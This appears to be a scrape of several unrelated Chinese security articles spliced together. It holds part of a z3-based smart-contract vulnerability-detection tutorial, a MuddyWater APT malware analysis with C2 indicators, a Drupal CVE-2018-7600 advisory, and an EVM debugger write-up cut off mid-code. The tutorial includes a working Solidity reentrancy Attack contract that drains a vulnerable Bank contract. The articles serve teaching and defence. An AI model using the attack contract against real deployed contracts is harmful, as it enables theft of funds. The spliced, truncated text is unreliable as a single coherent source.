00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
0000c: PUSH4 0xffffffff
00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
0002f: PUSH1 0x00
00031: CALLDATALOAD
00032: DIV
00033: AND
00034: PUSH4 0x1003e2d2
00039: DUP2
0003a: EQ
0003b: PUSH1 0x43
0003d: JUMPI
0003e: JUMPDEST
0003f: PUSH1 0x00
00041: DUP1
00042: REVERT
00043: JUMPDEST
00044: CALLVALUE
00045: DUP1
00046: ISZERO
00047: PUSH1 0x4e
00049: JUMPI
0004a: PUSH1 0x00
0004c: DUP1
0004d: REVERT
0004e: JUMPDEST
0004f: POP
00050: PUSH1 0x58
00052: PUSH1 0x04
00054: CALLDATALOAD
00055: PUSH1 0x73
00057: JUMP
00058: JUMPDEST
00059: PUSH1 0x40
0005b: DUP1
0005c: MLOAD
0005d: SWAP3
0005e: ISZERO
0005f: ISZERO
00060: DUP4
00061: MSTORE
00062: PUSH1 0x20
00064: DUP4
00065: ADD
00066: SWAP2
00067: SWAP1
00068: SWAP2
00069: MSTORE
0006a: DUP1
0006b: MLOAD
0006c: SWAP2
0006d: DUP3
0006e: SWAP1
0006f: SUB
00070: ADD
00071: SWAP1
00072: RETURN
00073: JUMPDEST
00074: PUSH1 0x00
00076: DUP1
00077: SLOAD
00078: DUP3
00079: ADD
0007a: DUP1
0007b: DUP3
0007c: SSTORE
0007d: DUP2
0007e: SWAP1
0007f: DUP4
00080: GT
00081: ISZERO
00082: PUSH1 0x86
00084: JUMPI
00085: Missing opcode 0xfe
00086: JUMPDEST
00087: SWAP2
00088: POP
00089: SWAP2
0008a: JUMP
0008b: STOP
我们从第一条指令开始分析构建基本块的过程。`00000`地址处的指令是程序的第一条指令，根据构建基本块的第一个原则，将其作为新的基本块的第一条指令；`0000b`地址处是一条跳转指令，根据构建基本块的第二个原则，将其作为新的基本块的最后一条指令。这样我们就把从地址`00000`到`0000b`的代码构建成一个基本块，为了之后方便描述，把这个基本块命名为基本块1。
接下来`0000c`地址处的指令，我们作为新的基本块的第一条指令。`0003d`地址处是一条跳转指令，根据构建基本块的第二个原则，将其作为新的基本块的最后一条指令。于是从地址`0000c`到`0003d`就构成了一个新的基本块，我们把这个基本块命名为基本块2。
以此类推，我们可以遵照构建基本块的三个原则构建起所有的基本块。构建完成后的基本块如下图所示：
图中的每一个矩形是一个基本块，矩形的右半部分是为了后续描述方便而对基本块的命名(当然你也可以命名成自己喜欢的名字)。矩形的左半部分是基本块所包含的指令的起始地址和结束地址。当所有的基本块都构建完成后，我们就把之前的反编译代码转化成了11个基本块。接下来我们将构建基本块之间的边。
## 3.3 构建基本块之间的边
简单来说，基本块之间的边就是基本块之间的跳转关系。以基本块1为例，其最后一条指令是条件跳转指令，如果条件成立就跳转到基本块3，否则就跳转到基本块2。所以基本块1就存在`基本块1->基本块2`和`基本块1->基本块3`两条边。基本块6的最后一条指令是跳转指令，该指令会直接跳转到基本块8，所以基本块6就存在`基本块6->基本块8`这一条边。
结合反编译代码和基本块的划分，我们不难得出所有边的集合E：
{
'基本块1': ['基本块2','基本块3'],
'基本块2': ['基本块3','基本块4'],
'基本块3': ['基本块11'],
'基本块4': ['基本块5','基本块6'],
'基本块5': ['基本块11'],
'基本块6': ['基本块8'],
'基本块7': ['基本块8'],
'基本块8': ['基本块9','基本块10'],
'基本块9': ['基本块11'],
'基本块10': ['基本块7']
}
我们把边的集合E用python中的dict类型表示，dict中的key是基本块，key对应的value值是一个list。还是以基本块1为例，因为基本块1存在`基本块1->基本块2`和`基本块1->基本块3`两条边，所以`'基本块1'`对应的list值为`['基本块2','基本块3']`。
## 3.4 构建控制流图
在前两个小节中我们构建完成了基本块和边，到此构建控制流图的准备工作都已完成，接下来我们就要把基本块和边整合在一起，绘制完整的控制流图。
上图就是完整的控制流图，从图中我们可以清晰直观的看到基本块之间的跳转关系，比如基本块1是条件跳转，根据条件是否成立跳转到不同的基本块，于是就形成了两条边。基本块2和基本块1类似也是条件跳转，也会形成两条边。基本块6是直接跳转，所以只会形成一条边。
在该控制流图中，只有一个起始块(基本块1)和一个结束块(基本块11)。当流程走到基本块11的时候，表示整个流程结束。需要指出的是，基本块11中只包含一条指令`STOP`。
## 3.5 总结
本章先介绍了控制流图中的基本概念，之后根据基本块的构建原则完成所有基本块的构建，接着结合反编译代码分析了基本块之间的跳转关系，画出所有的边。当所有的准备工作完成后，最后绘制出控制流图。在下一章中，我们将对构建好的控制流图，采用z3对其进行约束求解。
## **第四章 从控制流图开始约束求解**
在本章中我们将使用z3对第三章中生成的控制流图进行约束求解。z3是什么，约束求解又是什么呢？下面将会给大家一一解答。
约束求解：求出能够满足所有约束条件的每个变量的值。
z3： z3是由微软公司开发的一个优秀的约束求解器，用它能求解出满足约束条件的变量的值。
从3.4节的控制流图中我们不难发现，图中用菱形表示的跳转条件左右着基本块跳转的方向。如果我们用变量表示跳转条件中的输入数据，再把变量组合成数学表达式，此时跳转条件就转变成了约束条件，之后我们借助z3对约束条件进行求解，根据求解的结果我们就能判断出基本块的跳转方向，如此一来我们就能模拟整个程序的执行。
接下来我们就从z3的基本使用开始，一步一步的完成对所有跳转条件的约束求解。
## 4.1 z3的使用
我们以z3的python实现`z3py`为例介绍z3是如何使用的[[3]](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)。
### 4.1.1 基本用法
from z3 import *
x = Int('x')
y = Int('y')
solve(x > 2, y < 10, x + 2*y == 7)
在上面的代码中，函数`Int('x')`在z3中创建了一个名为x的变量，之后调用了`solve`函数求在三个约束条件下的解，这三个约束条件分别是`x >
2`, `y < 10`, `x + 2*y == 7`,运行上面的代码，输出结果为:
[y = 0, x = 7]
实际上满足约束条件的解不止一个，比如`[y=1,x=5]`也符合条件,但是z3在默认情况下只寻找满足约束条件的一组解,而不是找出所有解。
### 4.1.2 布尔运算
from z3 import *
p = Bool('p')
q = Bool('q')
r = Bool('r')
solve(Implies(p, q), r == Not(q), Or(Not(p), r))
上面的代码演示了z3如何求解布尔约束，代码的运行结果如下：
[q = False, p = False, r = True]
### 4.1.3 位向量
在z3中我们可以创建固定长度的位向量，比如在下面的代码中`BitVec('x', 16)`创建了一个长度为16位，名为x的变量。
from z3 import *
x = BitVec('x', 16)
y = BitVec('y', 16)
solve(x + y > 5)
在z3中除了可以创建位向量变量之外，也可以创建位向量常量。下面代码中的`BitVecVal(-1, 16)`创建了一个长度为16位，值为1的位向量常量。
from z3 import *
a = BitVecVal(-1, 16)
b = BitVecVal(65535, 16)
print simplify(a == b)
### 4.1.4 求解器
from z3 import *
x = Int('x')
y = Int('y')
s = Solver()
s.add(x > 10, y == x + 2)
print s
print s.check()
在上面代码中，`Solver()`创建了一个通用的求解器，之后调用`add()`添加约束，调用`check()`判断是否有满足约束的解。如果有解则返回`sat`，如果没有则返回`unsat`
## 4.2 使用z3进行约束求解
对于智能合约而言，当执行到`CALLDATASIZE`、`CALLDATALOAD`等指令时，表示程序要获取外部的输入数据,此时我们用z3中的`BitVec`函数创建一个位向量变量来代替输入数据;当执行到`LT`、`EQ`等指令时，此时我们用z3创建一个类似`If(ULE(xx,xx),
0, 1)`的表达式。
### 4.2.1 生成数学表达式
接下来我们以3.2节中的基本块1为例，看看如何把智能合约的指令转换成数学表达式。
在开始转换之前，我们先来模拟下以太坊虚拟机的运行环境。我们用变量`stack=[]`来表示以太坊虚拟机的栈，用变量`memory={}`来表示以太坊虚拟机的内存，用变量`storage={}`来表示storage。
基本块1为例的指令码如下:
00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
`PUSH`指令是入栈指令，执行两次入栈后，stack的值为`[0x80,0x40]`
`MSTORE`执行之后，stack为空，memory的值为`{0x40:0x80}`
`CALLDATASIZE`指令表示要获取输入数据的长度，我们使用z3中的`BitVec("Id_size",256)`,生成一个长度为256位，名为`Id_size`的变量来表示此时输入数据的长度。
`LT`指令用来比较`0x04`和变量`Id_size`的大小，如果`0x04`小于变量`Id_size`则值为0，否则值为1。使用z3转换成表达式则为：`If(ULE(4,
Id_size), 0, 1)`
`JUMPI`是条件跳转指令，是否跳转到`0x3e`地址处取决于上一步中`LT`指令的结果，即表达式`If(ULE(4, Id_size), 0,
1)`的结果。如果结果不为0则跳转，否则不跳转，使用z3转换成表达式则为:`If(ULE(4, Id_size), 0, 1) != 0`
至此，基本块1中的指令都已经使用z3转换成数学表达式。
### 4.2.2 执行数学表达式
执行上一节中生成的数学表达式的伪代码如下所示：
from z3 import *
Id_size = BitVec("Id_size",256)
exp = If(ULE(4, Id_size), 0, 1) != 0
solver = Solver()
solver.add(exp)
if solver.check() == sat:
print "jump to BasicBlock3"
else:
print "error "
在上面的代码中调用了solver的`check()`方法来判断此表达式是否有解，如果返回值等于`sat`则表示表达式有解，也就是说`LT`指令的结果不为0，那么接下来就可以跳转到基本块3。
观察3.4节中的控制流图我们得知，基本块1之后有两条分支，如果满足判断条件则跳转到基本块3，不满足则跳转到基本块2。但在上面的代码中，当`check()`方法的返回值不等于`sat`时，我们并没有跳转到基本块2，而是直接输出错误，这是因为当条件表达式无解时，继续向下执行没有任何意义。那么如何才能执行到基本块2呢，答案是对条件表达式取反，然后再判断取反后的表达式是否有解，如果有解则跳转到基本块2执行。伪代码如下所示：
Id_size = BitVec("Id_size",256)
exp = If(ULE(4, Id_size), 0, 1) != 0
negated_exp = Not(If(ULE(4, Id_size), 0, 1) != 0)
solver = Solver()
solver.push()
solver.add(exp)
if solver.check() == sat:
print "jump to BasicBlock3"
else:
print "error"
solver.pop()
solver.push()
solver.add(negated_exp)
if solver.check() == sat:
print "falls to BasicBlock2"
else:
print "error"
在上面代码中，我们使用z3中的Not函数，对之前的条件表达式进行取反，之后调用`check()`方法判断取反后的条件表达式是否有解，如果有解就执行基本块2。
## 4.3 总结
本章首先介绍了z3的基本用法，之后以基本块1为例，分析了如何使用z3把指令转换成表达式，同时也分析了如何对转换后的表达式进行约束求解。在下一章中我们将会介绍如何在约束求解的过程中加入对智能合约漏洞的分析，精彩不容错过。
## **第五章 常见的智能合约漏洞以及检测方法**
在本章中，我们首先会介绍智能合约中常见的漏洞，之后会分析检测这些漏洞的方法。
## 5.1 智能合约中常见的漏洞
### 5.1.1 整数溢出漏洞
我们以8位无符号整数为例分析溢出产生的原因，如下图所示，最大的8位无符号整数是255，如果此时再加1就会变为0。
Solidity语言支持从uint8到uint256，uint256的取值范围是0到2^256-1。如果某个uint256变量的值为2^256-1，那么这个变量再加1就会发生溢出，同时该变量的值变为0。
pragma solidity ^0.4.20;
contract Test {
function overflow() public pure returns (uint256 _overflow) {
uint256 max = 2**256-1;
return max + 1;
}
}
上面的合约代码中，变量max的值为2^256-1，是uint256所能表示的最大整数，如果再加1就会产生溢出，max的值变为0。
### 5.1.2 重入漏洞
当智能合约向另一个智能合约转账时，后者的fallback函数会被调用。如果fallback函数中存在恶意代码，那么恶意代码会被执行,这就是重入漏洞产生的前提。那么重入漏洞在什么情况下会发生呢，下面我们以一个存在重入漏洞的智能合约为例进行分析。
pragma solidity ^0.4.20;
contract Bank {
address owner;
mapping (address => uint256) balances;
constructor() public payable{
owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(address receiver, uint256 amount) public{
require(balances[msg.sender] > amount);
require(address(this).balance > amount);
// 使用 call.value()()进行ether转币时，没有Gas限制
receiver.call.value(amount)();
balances[msg.sender] -= amount;
}
function balanceOf(address addr) public view returns (uint256) {
return balances[addr];
}
}
contract Attack {
address owner;
address victim;
constructor() public payable {
owner = msg.sender;
}
function setVictim(address target) public{
victim = target;
}
function step1(uint256 amount) public payable{
if (address(this).balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
function step2(uint256 amount) public{
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
}
// selfdestruct, send all balance to owner
function stopAttack() public{
selfdestruct(owner);
}
function startAttack(uint256 amount) public{
step1(amount);
step2(amount / 2);
}
function () public payable {
if (msg.sender == victim) {
// 再次尝试调用Bank合约的withdraw函数，递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
}
}
}
在上面的代码中，智能合约Bank是存在重入漏洞的合约，其内部的`withdraw()`方法使用了`call`方法进行转账，使用该方法转账时没有gas限制。
智能合约Attack是个恶意合约，用来对存在重入的智能合约Bank进行攻击。攻击流程如下：
* Attack先给Bank转币
* Bank在其内部的账本balances中记录Attack转币的信息
* Attack要求Bank退币
* Bank先退币再修改账本balances
问题就出在Bank是先退币再去修改账本balances。因为Bank退币的时候，会触发Attack的fallback函数，而Attack的fallback函数中会再次执行退币操作，如此递归下去，Bank没有机会进行修改账本的操作，最后导致Attack会多次收到退币。
## 5.2 漏洞的检测方法
### 5.2.1 整数溢出漏洞的检测
通过约束求解可以很容易的发现智能合约中的整数溢出漏洞，下面我们就通过一个具体的例子一步步的分析。
首先对5.1.1节中的智能合约进行反编译，得到的部分反编译代码如下：
000108: PUSH1 0x00
000110: DUP1
000111: PUSH32 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
000144: SWAP1
000145: POP
000146: PUSH1 0x01
000148: DUP2
000149: ADD
000150: SWAP2
000151: POP
000152: POP
000153: SWAP1
000154: JUMP
这段反编译后的代码对应的是智能合约中的overflow函数，第000149行的`ADD`指令对应的是函数中`max +
1`这行代码。`ADD`指令会把栈顶的两个值出栈，相加后把结果压入栈顶。下面我们就通过一段伪代码来演示如何检测整数溢出漏洞：
def checkOverflow():
first = stack.pop(0)
second = stack.pop(0)
first = BitVecVal(first, 256)
second = BitVecVal(second, 256)
computed = first + second
solver.add(UGT(first, computed))
if check_sat(solver) == sat:
print "have overflow"
我们先把栈顶的两个值出栈，然后使用z3中`BitVecVal()`函数的把这两个值转变成位向量常量，接着计算两个位向量常量相加的结果,最后构建表达式`UGT(first,
computed)`来判断加数是否大于相加的结果，如果该表达式有解则说明会发生整数溢出[[4]](https://github.com/melonproject/oyente)。
### 5.2.2 重入漏洞的检测
在分析重入漏洞之前，我们先来总结在智能合约中用于转账的方法：
* `address.transfer(amount)`:
当发送失败时会抛出异常，只会传递2300Gas供调用，可以防止重入漏洞
* `address.send(amount)`:
当发送失败时会返回false，只会传递2300Gas供调用，可以防止重入漏洞
* `address.gas(gas_value).call.value(amount)()`:
当发送失败时会返回false，传递所有可用Gas进行调用(可通过 gas(gas_value) 进行限制)，不能有效防止重入
通过以上对比不难发现，`transfer(amount)`和`send(amount)`限制Gas最多为2300，使用这两个方法转账可以有效地防止重入漏洞。`call.value(amount)()`默认不限制Gas的使用，这就会很容易导致重入漏洞的产生。既然`call`指令是产生重入漏洞的原因所在，那么接下来我们就详细分析这条指令。
`call`指令有七个参数，每个参数的含义如下所示：
`call(gas, address, value, in, insize, out, outsize)`
* 第一个参数是指定的gas限制，如果不指定该参数，默认不限制。
* 第二个参数是接收转账的地址
* 第三个参数是转账的金额
* 第四个参数是输入给`call`指令的数据在memory中的起始地址
* 第五个参数是输入的数据的长度
* 第六个参数是`call`指令输出的数据在memory中的起始地址
* 第七个参数是`call`指令输出的数据的长度
通过以上的分析，总结下来我们可以从以下两个维度去检测重入漏洞
* 判断`call`指令第一个参数的值，如果没有设置gas限制，那么就有产生重入漏洞的风险
* 检查`call`指令之后，是否还有其他的操作。
第二个维度中提到的`call`指令之后是否还有其他操作，是如何可以检测到重入漏洞的呢？接下来我们就详细分析下。在5.1.2节中的智能合约Bank是存在重入漏洞的，根本原因就是使用`call`指令进行转账没有设置Gas限制，同时在`withdraw`方法中先退币再去修改账本balances，关键代码如下：
receiver.call.value(amount)();
balances[msg.sender] -= amount;
执行`call`指令的时候，会触发Attack中的fallback函数，而Attack的fallback函数中会再次执行退币操作，如此递归下去，导致Bank无法执行接下来的修改账本balances的操作。此时如果我们对代码做出如下调整，先修改账本balances，之后再去调用`call`指令，虽然也还会触发Attack中的fallback函数，Attack的fallback函数中也还会再次执行退币操作，但是每次退币操作都是先修改账本balances，所以Attack只能得到自己之前存放在Bank中的币，重入漏洞不会发生。
balances[msg.sender] -= amount;
receiver.call.value(amount)();
## 总结
本文的第一章介绍了智能合约编译环境的搭建以及编译器的使用，第二章讲解了常用的汇编指令并且对反编译后的代码进行了逐行的分析。前两章都是基本的准备工作，从第三章开始，我们使用之前的反编译代码，构建了完整的控制流图。第四章中我们介绍了z3的用法以及如何把控制流图中的基本块中的指令用z3转换成数学表达式。第五章中我们通过整数溢出和重入漏洞的案例，详细分析了如何在约束求解的过程中检测智能合约中的漏洞。最后，希望读者在阅读本文后能有所收获，如有不足之处欢迎指正。
## 参考
1. <https://blog.csdn.net/zxhoo/article/details/81865629>
2. [http://cc.jlu.edu.cn/G2S/Template/View.aspx](http://cc.jlu.edu.cn/G2S/Template/View.aspx?courseId=644&topMenuId=131469&action=view&curfolid=135637)
3. <https://ericpony.github.io/z3py-tutorial/guide-examples.htm>
4. <https://github.com/melonproject/oyente> | 社区文章 |
# MuddyWater感染链剖析
|
##### 译文声明
本文是翻译文章，文章原作者 yore，文章来源：blog.yoroi.company
原文地址：<https://blog.yoroi.company/research/dissecting-the-muddywater-infection-chain/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在11月末，我们发现有关MuddyWater（污水，APT组织）的新一轮攻击，其攻击目标是中东相关国家。该组织是在2017年被[Unit42](https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/)的研究人员首次披露，在很长的一段时间里，MuddyWater（污水，APT组织）的TTP基本不变：他们通过鱼叉式网络钓鱼的手段进行传播，电子邮件中包含模糊的邮件附件，他们会诱使收件人打开附件并启用宏来运行，然后通过POWERSTAT（该程序是MuddyWater组织使用的基于powershell的第一阶段后门）恶意程序感染收件人主机。下图是恶意文档实例。
根据ClearSky研究小组和TrendMicro研究人员的分析，在11月底，MuddyWater（污水，APT组织）组织先后攻击了土耳其，黎巴嫩和阿曼的相关机构，其采用的手段和释放的载荷相同，都是利用文档中的宏和POWERSTAT后门进行攻击。
## 二、技术分析
当受害者启用文档中的宏并执行时，恶意代码会创建一个Excel文档，该文档包含一段代码，这段代码的功能是下载下一阶段所需的恶意载荷，同时，会弹出一个错误窗口，并显示“office版本不兼容”，如下图所示。
恶意代码会开启一个用户例程来解密被加密的宏代码。如下图所示：
下图所示为解密后的代码，代码中的“x1”变量代表一个函数，该函数功能是创建一个隐藏的Excel文档。
创建出来的Excel文档也包含宏，该宏执行后，会连接指定URL并下载powershell代码，该URL指向了一个图片链接：”[http://pazazta[.]com/app/icon.png](http://pazazta%5B.%5Dcom/app/icon.png)“
该powershell会创建3个本地文件。其存放的路径如下：
1.C:\Windows\Temp\temp.jpg（该文件包含一段Javascript代码）
2.C:\Windows\Temp\Windows.vbe（该文件包含一段被编码后的VB脚本）
3.C:\Program\Data\Microsoft.db（该文件包含一段被加密的有效载荷，该载荷是最后阶段释放执行）
下图为下载的powershell代码：
从上图中我们可以看到，第一个被执行的文件是“Windows.vbe”文件，该文件通过Cscript（Windows脚本宿主的一个版本，可以用来从命令行运行脚本）来执行temp.jpg中的Javascript代码，该Javascript代码被加密，解密后可以看到其功能是延迟执行另一段powershell。下图是解密后的temp.jpg中的Javascript代码：
由上图我们可以看到，这段代码只有满足“Math.round(ss) % 20 ==
19”条件才会继续执行下一个恶意阶段，否则会不断的重复此过程。代码中的“ss”变量是getTime()函数的返回值，表示当前时间距 1970 年 1 月 1
日之间的毫秒数。
当条件满足后，会执行“Microsoft.db”文件，该文件中包含POWERSTATS后门程序。该后门连接的域名如下：
1.hxxp://amphira[.]com
2.hxxps://amorenvena[.]com
这些域名都指向同一个IP地址：139.162.245.200（该IP所在地为英国）。
如上图所示，POWERSTATS后门程序会进行HTTP和POST请求，该请求会连接远程服务器，并上传受害者机器的通用信息，下图为发送的受害者信息：
然后，该后门与C2进行通信，并请求操作指令。我们在分析中发现HTTP的参数“type”有以下数值，分别代表执行不同功能：
1.info：在POST请求中使用，会发送受害者机器的相关信息。
2.live：在POST请求中使用，进行ping操作。
3.cmd：POST和GET请求中使用，在POST请求中，其功能是发送最后执行的命令。在GET请求中，其功能是检索服务器中的新命令。
4.res：在POST请求中使用，功能是当恶意软件已执行后，发送该消息。
参数“id”是受害者机器的唯一标识，通过系统信息计算得出，此标识被用于创建文件，文件路径为：C:ProgramData，创建出的文件用来存储临时信息。下图是相关代码：
我们分析了Microsoft.db文件中的代码，该代码被混淆，反混淆后我们识别出POWERSTATS后门具备以下指令功能：
1.upload：恶意软件会从指定的URL下载新的文件
2.cmd：恶意软件会执行指定的命令
3.b64：恶意软件通过base64解码Powershell脚本并执行
4.muddy:恶意软件新建一个加密文件并执行，文件路径在C:ProgramDataLSASS目录下，该文件包含powershell脚本。下图是反混淆后的POWERSTATS后门代码：
**持久性**
为了保证自己拥有持久化的能力，该恶意软件采用了多个技术手段，比如把自己添加到注册表项：“MicrosoftWindowsCurrentVerisonRun”
下以保持开机自启动。如下图所示：
创建一个名为“MicrosoftEdge”的计划任务，该计划任务设置为每天12点开始执行。如下图所示：
## 三、总结
通过对MuddyWater（污水，伊朗的APT组织）组织最近的活动进行分析，我们发现了其攻击的方式和流程。包括：如何利用系统工具和脚本来实现特定目标，如何保持自身持久性，如何利用嵌入宏的文档进行攻击，并通过一些方式引诱受害者执行恶意载荷等。其整个攻击流程图如下：
## 四、IOC
Dropurl:
hxxp://pazazta[.com/app/icon.png
C2:
hxxp://amphira[.com
hxxps://amorenvena[.com
139.162.245.200
Hash:
294a907c27d622380727496cd7c53bf908af7a88657302ebd0a9ecdd30d2ec9d
79f2d06834a75981af8784c2542e286f1ee757f7a3281d3462590a89e8e86b5a
ae2c0de026d0df8093f4a4e2e2e4d297405f943c42e86d3fdd0ddea656c5483d
077bff76abc54edabda6b7b86aa1258fca73db041c53f4ec9c699c55a0913424
ccfdfcee9f073430cd288522383ee30a7d6d3373b968f040f89ae81d4772a7d0 | 社区文章 |
# CVE-2018-7600:Drupal核心远程代码执行漏洞预警
##### 译文声明
本文是翻译文章，文章原作者 360CERT，文章来源：cert.360.cn
原文地址：<https://cert.360.cn/warning/detail?id=3d862f150b642421c087b0493645b745>
译文仅供参考，具体内容表达以及含义原文为准。
> 报告编号： B6-2018-032901
>
> 报告来源： 360-CERT
>
> 报告作者： 360-CERT
>
> 更新日期： 2018-03-29
## 漏洞概述
Drupal是一款开源的内容管理系统，使用php语言，在业界广泛使用。
2018年3月28日，Drupal官方发布新补丁和安全公告，Drupal 6,7,8多个子版本存在远程代码执行漏洞(CVE-2018-7600)。
360CERT通过对补丁分析，结合Drupal官方通告判定
* 风险等级严重
* 影响范围较广
虽然漏洞细节暂未公开，仍然建议使用Drupal开源内容管理系统的用户进行更新。
## 漏洞影响面
#### 影响版本
Drupal 6.x，7.x，8.x
#### 修复版本
Drupal 7.58，Drupal 8.5.1
## 修复方案
### 推荐更新
主要支持版本推荐更新到Drupal相应的最新子版本
7.x版本，更新到 7.58 <https://www.drupal.org/project/drupal/releases/7.58>
8.5.x版本，更新到 8.5.1 <https://www.drupal.org/project/drupal/releases/8.5.1>
8.4.x 版本，更新到 8.4.6 <https://www.drupal.org/project/drupal/releases/8.4.6>
8.3.x 版本，更新到 8.3.9 <https://www.drupal.org/project/drupal/releases/8.3.9>
### 使用patch更新
如果不能立即更新，请使用对应patch
8.5.x,8.4.x,8.3.x patch地址:
[https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f](https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)
7.x patch地址:
[https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5](https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5)
### 其他不支持版本
Drupal 8.0/8.1/8.2版本已彻底不再维护，如果你在使用这些版本的Drupal，请尽快更新到8.3.9或8.4.6版本
Drupal 6也受到漏洞影响，此版本由Drupal 6 Long Term Support维护。
参考<https://www.drupal.org/project/d6lts>
## 时间线
**2018-03-21** Drupal 官方发布公告将会在下周修复高危漏洞
**2018-03-28** Drupal 官方发布补丁和安全公告
**2018-03-29** 360CERT发布预警通告
## 参考链接
1. <https://www.drupal.org/sa-core-2018-002>
2. <https://groups.drupal.org/security/faq-2018-002> | 社区文章 |
作者：Hcamael@知道创宇404区块链安全研究团队
时间：2018/09/04
上一篇[《以太坊智能合约 OPCODE
逆向之理论基础篇》](https://paper.seebug.org/640/)，对智能合约的OPCODE的基础数据结构进行了研究分析，本篇将继续深入研究OPCODE，编写一个智能合约的调试器。
## Remix调试器
Remix带有一个非常强大的`Debugger`，当我的调试器写到一半的时候，才发现了Remix自带调试器的强大之处，本文首先，对Remix的调试器进行介绍。
能调试的范围：
**1\. 在Remix上进行每一个操作(创建合约/调用合约/获取变量值)时，在执行成功后，都能在下方的控制界面点击`DEBUG`按钮进行调试**
**2\. Debugger能对任意交易进行调试，只需要在调试窗口输入对应交易地址**
**3\. 能对公链，测试链，私链上的任意交易进行调试**
点击`Environment`可以对区块链环境进行设置，选择`Injected Web3`，环境取决去浏览器安装的插件
比如我，使用的浏览器是`Chrome`，安装的插件是[MetaMask](https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn?hl=en-US)
通过`MetaMask`插件，我能选择环境为公链或者是测试链，或者是私链
当`Environment`设置为`Web3 Provider`可以自行添加以太坊区块链的RPC节点，一般是用于设置环境为私链
**4\. 在JavaScript的EVM环境中进行调试**
见3中的图，把`Environment`设置为`JavaScript VM`则表示使用本地虚拟环境进行调试测试
在调试的过程中能做什么？
Remix的调试器只提供了详细的数据查看功能，没法在特定的指令对`STACK/MEM/STORAGE`进行操作
在了解清楚Remix的调试器的功能后，感觉我进行了一半的工作好像是在重复造轮子。
之后仔细思考了我写调试器的初衷，今天的WCTF有一道以太坊智能合约的题目，因为第一次认真的逆向EVM的OPCODE，不熟练，一个下午还差一个函数没有逆向出来，然后比赛结束了，感觉有点遗憾，如果当时能动态调试，可能逆向的速度能更快。
Remix的调试器只能对已经发生的行为(交易)进行调试，所以并不能满足我打CTF的需求，所以对于我写的调试器，我转换了一下定位：调试没有源码，只有OPCODE的智能合约的逻辑，或者可以称为离线调试。
## 调试器的编写
智能合约调试器的编写，我认为最核心的部分是实现一个OPCODE解释器，或者说是自己实现一个EVM。
实现OPCODE解释器又分为两部分，1. 设计和实现数据储存器(把STACK/MEM/STORAGE统称为数据储存器)，2. 解析OPCODE指令
### 数据储存器
#### STACK
根据OPCODE指令的情况，EVM的栈和计算机的栈数据结构是一个样的，先入先出，都有`PUSH`和`POP`操作。不过EVM的栈还多了`SWAP`和`DUP`操作，栈交换和栈复制，如下所示，是我使用`Python`实现的EVM栈类:
class STACK(Base):
"""
evm stack
"""
stack: [int]
max_value: int
def __init__(self):
self.stack = []
self.max_value = 2**256
def push(self, data: int):
"""
OPCODE: PUSH
"""
self.stack.append(data % self.max_value)
def pop(self) -> (int):
"""
OPCODE POP
"""
return self.stack.pop()
@Base.stackcheck
def swap(self, n):
"""
OPCODE: SWAPn(1-16)
"""
tmp = self.stack[-n-1]
self.stack[-n-1] = self.stack[-1]
self.stack[-1] = tmp
@Base.stackcheck
def dup(self, n):
"""
OPCODE: DUPn(1-16)
"""
self.stack.append(self.stack[-n])
和计算机的栈比较，我觉得EVM的栈结构更像Python的List结构
计算机的栈是一个地址储存一个字节的数据，取值可以精确到一个字节，而EVM的栈是分块储存，每次PUSH占用一块，每次POP取出一块，每块最大能储存32字节的数据，也就是`2^256-1`，所以上述代码中，对每一个存入栈中的数据进行取余计算，保证栈中的数据小于`2^256-1`
#### MEM
EVM的内存的数据结构几乎和计算机内存的一样，一个地址储存一字节的数据。在EVM中，因为栈的结构，每块储存的数据最大为`256bits`，所以当OPCODE指令需要的参数长度可以大于`256bits`时，将会使用到内存
如下所示，是我使用`Python`实现的MEM内存类:
class MEM(Base):
"""
EVM memory
"""
mem: bytearray
max_value: int
length: int
def __init__(self):
self.mem = bytearray(0)
self.max_value = 2**256
self.length = 0
self.extend(1)
@Base.memcheck
def set(self, key: int, value: int):
"""
OPCODE: MSTORE
"""
value %= self.max
self.mem[key: key+0x20] = value.to_bytes(0x20, "big")
self.length += 0x20
@Base.memcheck
def set_byte(self, key: int, value: int):
"""
OPCODE: MSTORE8
"""
self.mem[key] = value & 0xff
self.length += length
@Base.memcheck
def set_length(self, key: int, value: int, length: int):
"""
OPCODE: XXXXCOPY
"""
value %= (2**(8*length))
data = value.to_bytes(length, "big")
self.mem[key: key+length] = data
self.length += length
@Base.memcheck
def get(self, key: int) -> (int):
"""
OPCODE: MLOAD
return uint256
"""
return int.from_bytes(self.mem[key: key+0x20], "big", signed=False)
@Base.memcheck
def get_bytearray(self, key: int) -> (bytearray):
"""
OPCODE: MLOAD
return 32 byte array
"""
return self.mem[key: key+0x20]
@Base.memcheck
def get_bytes(self, key: int) -> (bytes):
"""
OPCODE: MLOAD
return 32 bytes
"""
return bytes(self.mem[key: key+0x20])
@Base.memcheck
def get_length(self, key:int , length: int) -> (int):
"""
return mem int value
"""
return int.from_bytes(self.mem[key: key+length], "big", signed=False)
@Base.memcheck
def get_length_bytes(self, key:int , length: int) -> (bytes):
"""
return mem bytes value
"""
return bytes(self.mem[key: key+length])
@Base.memcheck
def get_length_bytearray(self, key:int , length: int) -> (bytearray):
"""
return mem int value
"""
